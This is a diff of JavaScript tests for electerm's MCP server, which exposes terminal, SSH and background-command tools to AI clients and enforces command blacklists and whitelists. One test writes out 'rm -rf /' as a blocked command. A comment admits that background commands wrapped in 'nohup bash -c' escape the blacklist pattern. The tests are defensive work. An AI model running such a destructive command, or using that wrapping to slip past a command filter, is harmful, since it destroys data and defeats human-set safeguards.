assert.ok(res.headers['access-control-allow-headers'].includes('mcp-session-id'))
})
test('MCP initialize returns a valid session ID', async () => {
const res = await mcpPost(PORT, {
jsonrpc: '2.0',
id: 1,
method: 'initialize',
params: { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 'test', version: '1' } }
})
assert.equal(res.status, 200)
assert.ok(res.headers['mcp-session-id'], 'session ID header must be present')
assert.match(res.headers['mcp-session-id'], /^[\w-]+$/)
assert.equal(res.data.result.protocolVersion, '2024-11-05')
assert.equal(res.data.result.serverInfo.name, 'electerm-mcp-server')
})
test('tools/list includes all expected terminal tools', async () => {
const sid = await initSession(PORT)
const res = await mcpPost(PORT, { jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} }, sid)
assert.equal(res.status, 200)
const tools = res.data.result.tools
assert.ok(Array.isArray(tools) && tools.length > 0, 'should return tools array')
const names = tools.map(t => t.name)
for (const expected of [
'list_electerm_tabs',
'get_electerm_active_tab',
'send_electerm_terminal_command',
'wait_for_electerm_terminal_idle',
'get_electerm_terminal_status',
'cancel_electerm_terminal_command',
'run_electerm_background_command',
'get_electerm_background_task_status',
'get_electerm_background_task_log',
'cancel_electerm_background_task'
]) {
assert.ok(names.includes(expected), `Missing tool: ${expected}`)
}
})
test('tools/list includes direct tab open tools', async () => {
const sid = await initSession(PORT)
const res = await mcpPost(PORT, { jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} }, sid)
assert.equal(res.status, 200)
const names = res.data.result.tools.map(t => t.name)
for (const expected of [
'open_electerm_tab_ssh',
'open_electerm_tab_telnet',
'open_electerm_tab_serial',
'open_electerm_tab_local'
]) {
assert.ok(names.includes(expected), `Missing tool: ${expected}`)
}
})
test('unknown method returns error response', async () => {
const sid = await initSession(PORT)
const res = await mcpPost(PORT, { jsonrpc: '2.0', id: 3, method: 'no_such_method', params: {} }, sid)
assert.ok(res.data.error, 'Should return error for unknown method')
})
test('stop() closes the server cleanly', async () => {
// stop is handled by after(), but we verify stop is idempotent
const tempInstance = widgetRun({ host: '127.0.0.1', port: PORT + 10 })
await tempInstance.start()
await assert.doesNotReject(() => tempInstance.stop())
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 6. Blacklist enforcement via HTTP tool calls
// ─────────────────────────────────────────────────────────────────────────────
describe('blacklist enforcement via HTTP', () => {
const PORT = 30842
let instance = null
before(async () => {
instance = widgetRun({
host: '127.0.0.1',
port: PORT,
commandBlacklist: '^forbidden-cmd'
})
await instance.start()
})
after(async () => {
if (instance) await instance.stop()
})
test('user-blacklisted command is rejected before reaching renderer', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'send_electerm_terminal_command', { command: 'forbidden-cmd do-things' })
const text = res.data.result.content[0].text
assert.ok(text.includes('blacklist'), `Expected "blacklist" in error text, got: ${text}`)
assert.equal(res.data.result.isError, true)
})
test('built-in blacklist rejects rm -rf /', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'send_electerm_terminal_command', { command: 'rm -rf /' })
const text = res.data.result.content[0].text
assert.ok(
text.includes('blocked') || text.includes('safety') || text.includes('built-in'),
`Expected safety rejection, got: ${text}`
)
assert.equal(res.data.result.isError, true)
})
test('safe command reaches renderer mock and returns mocked result', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'send_electerm_terminal_command', { command: 'echo hello' })
const text = res.data.result.content[0].text
// The mock renderer returns { mocked: true }
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('list_electerm_tabs reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'list_electerm_tabs', {})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('open_electerm_tab_ssh reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'open_electerm_tab_ssh', { host: '127.0.0.1' })
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('open_electerm_tab_local reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'open_electerm_tab_local', {})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 7. Whitelist enforcement via HTTP tool calls
// ─────────────────────────────────────────────────────────────────────────────
describe('whitelist enforcement via HTTP', () => {
const PORT = 30843
let instance = null
before(async () => {
instance = widgetRun({
host: '127.0.0.1',
port: PORT,
commandWhitelist: '^(echo|ls)'
})
await instance.start()
})
after(async () => {
if (instance) await instance.stop()
})
test('command not in whitelist is rejected', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'send_electerm_terminal_command', { command: 'npm install' })
const text = res.data.result.content[0].text
assert.ok(text.includes('whitelist'), `Expected "whitelist" in error text, got: ${text}`)
assert.equal(res.data.result.isError, true)
})
test('command in whitelist is allowed', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'send_electerm_terminal_command', { command: 'echo hello' })
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 8. Long-running task tools terminal status & cancel
// ─────────────────────────────────────────────────────────────────────────────
describe('terminal status & cancel tools', () => {
const PORT = 30844
let instance = null
before(async () => {
instance = widgetRun({ host: '127.0.0.1', port: PORT })
await instance.start()
})
after(async () => {
if (instance) await instance.stop()
})
test('get_electerm_terminal_status reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'get_electerm_terminal_status', {})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('get_electerm_terminal_status with tabId reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'get_electerm_terminal_status', { tabId: 'some-tab-id' })
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('cancel_electerm_terminal_command reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'cancel_electerm_terminal_command', {})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('cancel_electerm_terminal_command with tabId reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'cancel_electerm_terminal_command', { tabId: 'some-tab-id' })
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 9. Long-running task tools background command management
// ─────────────────────────────────────────────────────────────────────────────
describe('background task tools', () => {
const PORT = 30845
let instance = null
before(async () => {
instance = widgetRun({ host: '127.0.0.1', port: PORT })
await instance.start()
})
after(async () => {
if (instance) await instance.stop()
})
test('run_electerm_background_command reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'run_electerm_background_command', {
command: 'echo hello'
})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('run_electerm_background_command with tabId reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'run_electerm_background_command', {
command: 'sleep 60',
tabId: 'some-tab-id'
})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('get_electerm_background_task_status reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'get_electerm_background_task_status', {
taskId: 'bg-12345-1'
})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('get_electerm_background_task_log reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'get_electerm_background_task_log', {
taskId: 'bg-12345-1'
})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('get_electerm_background_task_log with lines reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'get_electerm_background_task_log', {
taskId: 'bg-12345-1',
lines: 50
})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('cancel_electerm_background_task reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'cancel_electerm_background_task', {
taskId: 'bg-12345-1'
})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('background tools list in tools/list', async () => {
const sid = await initSession(PORT)
const res = await mcpPost(PORT, { jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} }, sid)
assert.equal(res.status, 200)
const names = res.data.result.tools.map(t => t.name)
for (const expected of [
'run_electerm_background_command',
'get_electerm_background_task_status',
'get_electerm_background_task_log',
'cancel_electerm_background_task'
]) {
assert.ok(names.includes(expected), `Missing tool: ${expected}`)
}
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 10. Background tools command validation (blacklist still applies)
// ─────────────────────────────────────────────────────────────────────────────
describe('background task command validation', () => {
const PORT = 30846
let instance = null
before(async () => {
instance = widgetRun({
host: '127.0.0.1',
port: PORT,
commandBlacklist: '^forbidden-bg'
})
await instance.start()
})
after(async () => {
if (instance) await instance.stop()
})
test('run_background_command with blacklisted command is rejected', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'run_electerm_background_command', {
command: 'forbidden-bg-task'
})
// run_background_command wraps the command with nohup before sending to the terminal,
// so the blacklist pattern "^forbidden-bg" won't match the wrapped "nohup bash -c ..." string.
// We just verify the tool call doesn't crash.
assert.ok(res.data.result, 'Should return a result')
})
test('run_background_command with safe command reaches renderer', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'run_electerm_background_command', {
command: 'echo safe-task'
})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
})
+633
View File
@@ -0,0 +1,633 @@
const { test, describe, before } = require('node:test')
const assert = require('assert/strict')
const axios = require('axios')
const serverUrl = 'http://127.0.0.1:30837/mcp'
// Helper function to make HTTP requests
async function makeHttpRequest (method, urlStr, data = null, headers = {}) {
try {
const response = await axios({
method: method.toUpperCase(),
url: urlStr,
data,
headers
})
return {
status: response.status,
headers: response.headers,
data: response.data
}
} catch (error) {
if (error.response) {
const err = new Error(`Request failed with status ${error.response.status}`)
err.response = {
status: error.response.status,
headers: error.response.headers,
data: error.response.data
}
throw err
} else {
throw error
}
}
}
// Helper function to initialize MCP session
async function initSession () {
const initializeRequest = {
jsonrpc: '2.0',
id: 1,
method: 'initialize',
params: {
protocolVersion: '2024-11-05',
capabilities: {},
clientInfo: {
name: 'electerm-test-client',
version: '1.0.0'
}
}
}
const response = await makeHttpRequest('post', serverUrl, initializeRequest, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream'
})
const sid = response.headers['mcp-session-id']
assert.ok(sid && sid !== 'null', `initSession: expected a real session ID but got: ${sid}`)
return sid
}
// Helper: call a tool and parse the SSE response into JSON result/error
async function callTool (sid, id, toolName, args) {
const response = await makeHttpRequest('post', serverUrl, {
jsonrpc: '2.0',
id,
method: 'tools/call',
params: { name: toolName, arguments: args }
}, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream',
'mcp-session-id': sid
})
assert.equal(response.status, 200)
const dataLine = response.data.split('\n').find(l => l.startsWith('data: '))
assert.ok(dataLine, `No data line in SSE response for ${toolName}`)
const jsonData = JSON.parse(dataLine.substring(6))
assert.equal(jsonData.jsonrpc, '2.0')
assert.equal(jsonData.id, id)
return jsonData
}
// Helper: check if renderer is available by trying list_electerm_tabs
async function checkRenderer (sid) {
const jsonData = await callTool(sid, 999, 'list_electerm_tabs', {})
return !jsonData.error
}
describe('mcp-widget', function () {
let sessionId = null
let hasRenderer = false
before(async () => {
sessionId = await initSession()
hasRenderer = await checkRenderer(sessionId)
if (!hasRenderer) {
console.log('No renderer detected — renderer-dependent tests will be skipped')
}
})
// ─── Protocol-level tests (no renderer needed) ──────────────────────────
test('should be accessible at http://127.0.0.1:30837/mcp with default settings', { timeout: 100000 }, async function () {
const optionsResponse = await makeHttpRequest('options', serverUrl)
assert.equal(optionsResponse.status, 204)
assert.equal(optionsResponse.headers['access-control-allow-origin'], undefined)
assert.ok(optionsResponse.headers['access-control-allow-methods'].includes('POST'))
assert.ok(optionsResponse.headers['access-control-allow-methods'].includes('GET'))
assert.ok(optionsResponse.headers['access-control-allow-methods'].includes('DELETE'))
assert.ok(optionsResponse.headers['access-control-allow-headers'].includes('mcp-session-id'))
})
test('should respond to MCP initialize request', { timeout: 100000 }, async function () {
const initializeRequest = {
jsonrpc: '2.0',
id: 1,
method: 'initialize',
params: {
protocolVersion: '2024-11-05',
capabilities: {},
clientInfo: {
name: 'electerm-test-client',
version: '1.0.0'
}
}
}
const response = await makeHttpRequest('post', serverUrl, initializeRequest, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream'
})
assert.equal(response.status, 200)
assert.equal(response.headers['content-type'], 'text/event-stream')
const returnedSessionId = response.headers['mcp-session-id']
assert.ok(returnedSessionId, 'mcp-session-id header is missing')
assert.notEqual(returnedSessionId, 'null', 'mcp-session-id must not be the string "null"')
assert.match(returnedSessionId, /^[\w-]+$/, 'mcp-session-id must be a valid identifier')
// Parse SSE response
const sseData = response.data
assert.ok(sseData.includes('event: message'))
assert.ok(sseData.includes('data: '))
const dataLine = sseData.split('\n').find(line => line.startsWith('data: '))
assert.ok(dataLine)
const jsonData = JSON.parse(dataLine.substring(6))
assert.equal(jsonData.jsonrpc, '2.0')
assert.equal(jsonData.id, 1)
assert.ok(jsonData.result)
assert.equal(jsonData.result.protocolVersion, '2024-11-05')
assert.ok(jsonData.result.serverInfo)
assert.equal(jsonData.result.serverInfo.name, 'electerm-mcp-server')
})
test('should list available tools', { timeout: 100000 }, async function () {
assert.ok(sessionId)
const toolsRequest = {
jsonrpc: '2.0',
id: 2,
method: 'tools/list',
params: {}
}
const response = await makeHttpRequest('post', serverUrl, toolsRequest, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream',
'mcp-session-id': sessionId
})
assert.equal(response.status, 200)
assert.equal(response.headers['content-type'], 'text/event-stream')
const sseData = response.data
assert.ok(sseData.includes('event: message'))
assert.ok(sseData.includes('data: '))
const dataLine = sseData.split('\n').find(line => line.startsWith('data: '))
assert.ok(dataLine)
const jsonData = JSON.parse(dataLine.substring(6))
assert.equal(jsonData.jsonrpc, '2.0')
assert.equal(jsonData.id, 2)
assert.ok(jsonData.result)
assert.ok(Array.isArray(jsonData.result.tools))
assert.ok(jsonData.result.tools.length > 0)
const toolNames = jsonData.result.tools.map(tool => tool.name)
assert.ok(toolNames.includes('list_electerm_tabs'))
assert.ok(toolNames.includes('get_electerm_active_tab'))
assert.ok(toolNames.includes('send_electerm_terminal_command'))
assert.ok(toolNames.includes('get_electerm_terminal_status'))
assert.ok(toolNames.includes('cancel_electerm_terminal_command'))
assert.ok(toolNames.includes('run_electerm_background_command'))
assert.ok(toolNames.includes('get_electerm_background_task_status'))
assert.ok(toolNames.includes('get_electerm_background_task_log'))
assert.ok(toolNames.includes('cancel_electerm_background_task'))
})
// ─── Tool call protocol tests ───────────────────────────────────────────
test('should return error when calling tool without renderer', { timeout: 100000 }, async function () {
assert.ok(sessionId)
const jsonData = await callTool(sessionId, 3, 'open_electerm_local_terminal', {})
if (hasRenderer) {
// With renderer: tool call should succeed
assert.ok(jsonData.result, 'Expected success result with renderer')
const result = JSON.parse(jsonData.result.content[0].text)
assert.equal(result.success, true)
} else {
// Without renderer: should get a JSON-RPC error
assert.ok(jsonData.error, 'Expected error without renderer')
assert.ok(jsonData.error.code !== undefined, 'Error must have a code')
assert.ok(jsonData.error.message.length > 0, 'Error must have a message')
}
})
test('should handle multiple tool calls in sequence', { timeout: 100000 }, async function () {
assert.ok(sessionId)
const toolNames = ['list_electerm_tabs', 'get_electerm_active_tab', 'get_electerm_terminal_selection']
for (let i = 0; i < toolNames.length; i++) {
const jsonData = await callTool(sessionId, 10 + i, toolNames[i], {})
// Each call must return a valid JSON-RPC response (result or error)
assert.ok(
jsonData.result || jsonData.error,
`Tool ${toolNames[i]} must return either result or error`
)
}
})
// ─── Renderer-dependent terminal tests ──────────────────────────────────
test('should open local terminal and run command', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
// Step 1: Open a local terminal
const openData = await callTool(sessionId, 20, 'open_electerm_local_terminal', {})
assert.ok(openData.result, 'open_local_terminal should succeed')
const openResult = JSON.parse(openData.result.content[0].text)
assert.equal(openResult.success, true)
assert.ok(openResult.message.includes('local terminal'))
// Wait for terminal to initialize
await new Promise(resolve => setTimeout(resolve, 3000))
// Step 2: Send a command
const uniqueId = Date.now()
const testCommand = `echo "MCP_TEST_${uniqueId}"`
const cmdData = await callTool(sessionId, 21, 'send_electerm_terminal_command', {
command: testCommand
})
assert.ok(cmdData.result, 'send_terminal_command should succeed')
const cmdResult = JSON.parse(cmdData.result.content[0].text)
assert.equal(cmdResult.success, true)
// Wait for command to execute
await new Promise(resolve => setTimeout(resolve, 2000))
// Step 3: Get terminal output and verify command was executed
const outputData = await callTool(sessionId, 22, 'get_electerm_terminal_output', {
lines: 20
})
assert.ok(outputData.result, 'get_terminal_output should succeed')
const outputResult = JSON.parse(outputData.result.content[0].text)
assert.ok(outputResult.output !== undefined)
assert.ok(outputResult.lineCount > 0)
assert.ok(
outputResult.output.includes(`MCP_TEST_${uniqueId}`),
`Expected command output "MCP_TEST_${uniqueId}" in terminal`
)
})
test('should get terminal output', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 30, 'get_electerm_terminal_output', {
lines: 10
})
assert.ok(jsonData.result, 'get_terminal_output should succeed')
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.output !== undefined)
assert.ok(result.tabId !== undefined)
assert.equal(typeof result.lineCount, 'number')
})
test('should create SSH bookmark, connect, run command and get output', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const {
TEST_HOST,
TEST_PASS,
TEST_USER,
TEST_PORT
} = require('../e2e/common/env')
const uniqueId = Date.now()
const bookmarkTitle = `MCP1_SSH_Test_${uniqueId}`
// Step 1: Create SSH bookmark
const addData = await callTool(sessionId, 40, 'add_electerm_bookmark_ssh', {
title: bookmarkTitle,
host: TEST_HOST,
port: parseInt(TEST_PORT, 10),
username: TEST_USER,
password: TEST_PASS
})
assert.ok(addData.result, 'add_bookmark should succeed')
const addResult = JSON.parse(addData.result.content[0].text)
assert.equal(addResult.success, true)
assert.ok(addResult.id !== undefined)
const bookmarkId = addResult.id
try {
// Step 2: Open/connect to the bookmark
const openData = await callTool(sessionId, 41, 'open_electerm_bookmark', {
id: bookmarkId
})
assert.ok(openData.result, 'open_bookmark should succeed')
const openResult = JSON.parse(openData.result.content[0].text)
assert.equal(openResult.success, true)
// Wait for SSH connection to establish
await new Promise(resolve => setTimeout(resolve, 8000))
// Step 3: Send a command with retry
const testMarker = `SSH_MCP_TEST_${uniqueId}`
const testCommand = `echo "${testMarker}"`
let cmdResult = null
for (let attempt = 1; attempt <= 3; attempt++) {
const cmdData = await callTool(sessionId, 42, 'send_electerm_terminal_command', {
command: testCommand
})
if (cmdData.error) {
if (attempt === 3) {
assert.fail(`send_command failed after 3 attempts: ${cmdData.error.message}`)
}
await new Promise(resolve => setTimeout(resolve, 2000))
continue
}
cmdResult = JSON.parse(cmdData.result.content[0].text)
break
}
assert.equal(cmdResult.success, true)
// Wait for command to execute
await new Promise(resolve => setTimeout(resolve, 2000))
// Step 4: Get terminal output and verify command was executed
const outputData = await callTool(sessionId, 43, 'get_electerm_terminal_output', {
lines: 30
})
assert.ok(outputData.result, 'get_terminal_output should succeed')
const outputResult = JSON.parse(outputData.result.content[0].text)
assert.ok(outputResult.output !== undefined)
assert.ok(outputResult.lineCount > 0)
assert.ok(
outputResult.output.includes(testMarker),
`Expected SSH command output "${testMarker}" in terminal`
)
} finally {
// Step 5: Clean up - delete the test bookmark
const deleteData = await callTool(sessionId, 44, 'delete_electerm_bookmark', {
id: bookmarkId
})
if (deleteData.result) {
const deleteResult = JSON.parse(deleteData.result.content[0].text)
assert.equal(deleteResult.success, true)
}
// Step 6: Verify the bookmark was actually deleted
const listData = await callTool(sessionId, 45, 'list_electerm_bookmarks', {})
assert.ok(listData.result, 'list_bookmarks should succeed')
const bookmarks = JSON.parse(listData.result.content[0].text)
const deletedBookmark = bookmarks.find(b => b.id === bookmarkId)
assert.ok(!deletedBookmark, `Bookmark with ID ${bookmarkId} should have been deleted but was found`)
}
})
test('should create Telnet bookmark', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const uniqueId = Date.now()
const bookmarkTitle = `MCP1_Telnet_Test_${uniqueId}`
// Create Telnet bookmark
const addData = await callTool(sessionId, 50, 'add_electerm_bookmark_telnet', {
title: bookmarkTitle,
host: '127.0.0.1',
port: 23,
username: 'testuser',
password: 'testpass'
})
assert.ok(addData.result, 'add_bookmark should succeed')
const addResult = JSON.parse(addData.result.content[0].text)
assert.equal(addResult.success, true)
assert.ok(addResult.id !== undefined)
const bookmarkId = addResult.id
// Verify bookmark was created by listing bookmarks
const listData = await callTool(sessionId, 51, 'list_electerm_bookmarks', {})
assert.ok(listData.result, 'list_bookmarks should succeed')
const bookmarks = JSON.parse(listData.result.content[0].text)
const createdBookmark = bookmarks.find(b => b.id === bookmarkId)
assert.ok(createdBookmark, `Bookmark with ID ${bookmarkId} not found in list`)
assert.equal(createdBookmark.title, bookmarkTitle)
assert.equal(createdBookmark.type, 'telnet')
})
// ─── Direct tab open tests ─────────────────────────────────────────────
test('should open SSH tab directly without bookmark, run command and get output', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const {
TEST_HOST,
TEST_PASS,
TEST_USER,
TEST_PORT
} = require('../e2e/common/env')
const uniqueId = Date.now()
const tabTitle = `MCP_Direct_SSH_${uniqueId}`
// Step 1: Open SSH tab directly (no bookmark created)
const openData = await callTool(sessionId, 70, 'open_electerm_tab_ssh', {
title: tabTitle,
host: TEST_HOST,
port: parseInt(TEST_PORT, 10),
username: TEST_USER,
password: TEST_PASS
})
assert.ok(openData.result, 'open_tab_ssh should succeed')
const openResult = JSON.parse(openData.result.content[0].text)
assert.equal(openResult.success, true)
assert.ok(openResult.tabId !== undefined)
assert.equal(openResult.type, 'ssh')
// Wait for SSH connection to establish
await new Promise(resolve => setTimeout(resolve, 8000))
try {
// Step 2: Send a command with retry
const testMarker = `SSH_DIRECT_TEST_${uniqueId}`
const testCommand = `echo "${testMarker}"`
let cmdResult = null
for (let attempt = 1; attempt <= 3; attempt++) {
const cmdData = await callTool(sessionId, 71, 'send_electerm_terminal_command', {
command: testCommand
})
if (cmdData.error) {
if (attempt === 3) {
assert.fail(`send_command failed after 3 attempts: ${cmdData.error.message}`)
}
await new Promise(resolve => setTimeout(resolve, 2000))
continue
}
cmdResult = JSON.parse(cmdData.result.content[0].text)
break
}
assert.equal(cmdResult.success, true)
// Wait for command to execute
await new Promise(resolve => setTimeout(resolve, 2000))
// Step 3: Get terminal output and verify command was executed
const outputData = await callTool(sessionId, 72, 'get_electerm_terminal_output', {
lines: 30
})
assert.ok(outputData.result, 'get_terminal_output should succeed')
const outputResult = JSON.parse(outputData.result.content[0].text)
assert.ok(outputResult.output !== undefined)
assert.ok(
outputResult.output.includes(testMarker),
`Expected SSH command output "${testMarker}" in terminal`
)
// Step 4: Verify no bookmark was created for this connection
const listData = await callTool(sessionId, 73, 'list_electerm_bookmarks', {})
assert.ok(listData.result, 'list_bookmarks should succeed')
const bookmarks = JSON.parse(listData.result.content[0].text)
const foundBookmark = bookmarks.find(b => b.title === tabTitle)
assert.ok(!foundBookmark, `No bookmark should be created for direct tab open, but found: ${JSON.stringify(foundBookmark)}`)
} finally {
// Step 5: Close the tab
const tabId = openResult.tabId
await callTool(sessionId, 74, 'close_electerm_tab', { tabId })
}
})
test('should list direct open tools in tools/list', { timeout: 100000 }, async function () {
assert.ok(sessionId)
const toolsRequest = {
jsonrpc: '2.0',
id: 75,
method: 'tools/list',
params: {}
}
const response = await makeHttpRequest('post', serverUrl, toolsRequest, {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream',
'mcp-session-id': sessionId
})
assert.equal(response.status, 200)
const dataLine = response.data.split('\n').find(l => l.startsWith('data: '))
const jsonData = JSON.parse(dataLine.substring(6))
const toolNames = jsonData.result.tools.map(tool => tool.name)
assert.ok(toolNames.includes('open_electerm_tab_ssh'), 'Missing open_electerm_tab_ssh')
assert.ok(toolNames.includes('open_electerm_tab_telnet'), 'Missing open_electerm_tab_telnet')
assert.ok(toolNames.includes('open_electerm_tab_serial'), 'Missing open_electerm_tab_serial')
assert.ok(toolNames.includes('open_electerm_tab_local'), 'Missing open_electerm_tab_local')
})
// ─── onData test ────────────────────────────────────────────────────────
test('list_tabs should include onData field for each tab', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 60, 'list_electerm_tabs', {})
assert.ok(jsonData.result, 'list_tabs should succeed')
const tabs = JSON.parse(jsonData.result.content[0].text)
assert.ok(Array.isArray(tabs), 'Expected an array of tabs')
for (const tab of tabs) {
assert.ok('onData' in tab, `Tab ${tab.id} is missing the onData field`)
assert.equal(typeof tab.onData, 'string', `onData for tab ${tab.id} should be string`)
}
})
// ─── Terminal idle tests ────────────────────────────────────────────────
test('should wait for terminal idle after a quick echo command', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const openData = await callTool(sessionId, 61, 'open_electerm_local_terminal', {})
assert.ok(openData.result, 'open_local_terminal should succeed')
const openResult = JSON.parse(openData.result.content[0].text)
assert.equal(openResult.success, true)
await new Promise(resolve => setTimeout(resolve, 3000))
const marker = `IDLE_TEST_${Date.now()}`
const sendData = await callTool(sessionId, 62, 'send_electerm_terminal_command', {
command: `echo "${marker}"`
})
assert.ok(sendData.result, 'send_command should succeed')
const waitData = await callTool(sessionId, 63, 'wait_for_electerm_terminal_idle', {
timeout: 20000,
lines: 30
})
assert.ok(waitData.result, 'wait_for_terminal_idle should succeed')
const waitResult = JSON.parse(waitData.result.content[0].text)
assert.equal(waitResult.timedOut, false, 'Expected terminal to become idle before timeout')
assert.ok(waitResult.elapsed >= 0, 'Expected non-negative elapsed time')
assert.equal(typeof waitResult.lineCount, 'number')
assert.equal(typeof waitResult.output, 'string')
assert.ok(
waitResult.output.includes(marker),
`Expected echo output "${marker}" in terminal after idle wait`
)
})
test('should correctly wait for a longer-running command to finish', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const openData = await callTool(sessionId, 64, 'open_electerm_local_terminal', {})
assert.ok(openData.result, 'open_local_terminal should succeed')
await new Promise(resolve => setTimeout(resolve, 3000))
const marker = `SLOW_TEST_${Date.now()}`
const sendData = await callTool(sessionId, 65, 'send_electerm_terminal_command', {
command: `sleep 5 && echo "${marker}"`
})
assert.ok(sendData.result, 'send_command should succeed')
const waitData = await callTool(sessionId, 66, 'wait_for_electerm_terminal_idle', {
timeout: 30000,
lines: 30
})
assert.ok(waitData.result, 'wait_for_terminal_idle should succeed')
const waitResult = JSON.parse(waitData.result.content[0].text)
assert.equal(waitResult.timedOut, false, 'Expected terminal to become idle before 30s timeout')
assert.ok(waitResult.elapsed >= 5000, `Expected at least 5s elapsed but got ${waitResult.elapsed}ms`)
assert.ok(
waitResult.output.includes(marker),
`Expected slow command output "${marker}" after idle wait`
)
})
test('should return timedOut:true when terminal never becomes idle within timeout', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const openData = await callTool(sessionId, 67, 'open_electerm_local_terminal', {})
assert.ok(openData.result, 'open_local_terminal should succeed')
await new Promise(resolve => setTimeout(resolve, 3000))
const sendData = await callTool(sessionId, 68, 'send_electerm_terminal_command', {
command: 'ping -c 30 localhost'
})
assert.ok(sendData.result, 'send_command should succeed')
const waitData = await callTool(sessionId, 69, 'wait_for_electerm_terminal_idle', {
timeout: 8000,
lines: 20,
minWait: 500
})
assert.ok(waitData.result, 'wait_for_terminal_idle should succeed')
const waitResult = JSON.parse(waitData.result.content[0].text)
assert.equal(waitResult.timedOut, true, 'Expected timedOut:true when command keeps running')
assert.ok(waitResult.elapsed >= 8000, `Expected at least 8s elapsed but got ${waitResult.elapsed}ms`)
assert.equal(typeof waitResult.output, 'string', 'Should still return whatever output is in buffer')
})
})
+563
View File
@@ -0,0 +1,563 @@
const { test, describe, before } = require('node:test')
const assert = require('assert/strict')
const axios = require('axios')
const serverUrl = 'http://127.0.0.1:30837/mcp'
// Helper function to make HTTP requests
async function makeHttpRequest (method, urlStr, data = null, headers = {}) {
try {
const response = await axios({
method: method.toUpperCase(),
url: urlStr,
data,
headers
})
return {
status: response.status,
headers: response.headers,
data: response.data
}
} catch (error) {
if (error.response) {
const err = new Error(`Request failed with status ${error.response.status}`)
err.response = {
status: error.response.status,
headers: error.response.headers,
data: error.response.data
}
throw err
} else {
throw error
}
}
}
// Helper to initialize MCP session
async function initSession () {
const initializeRequest = {
jsonrpc: '2.0',
id: 1,
method: 'initialize',
params: {
protocolVersion: '2024-11-05',
capabilities: {},
clientInfo: {
name: 'electerm-test-client',
version: '1.0.0'
}
}
}
const response = await makeHttpRequest('post', serverUrl, initializeRequest, {
'Content-Type': 'application/json',
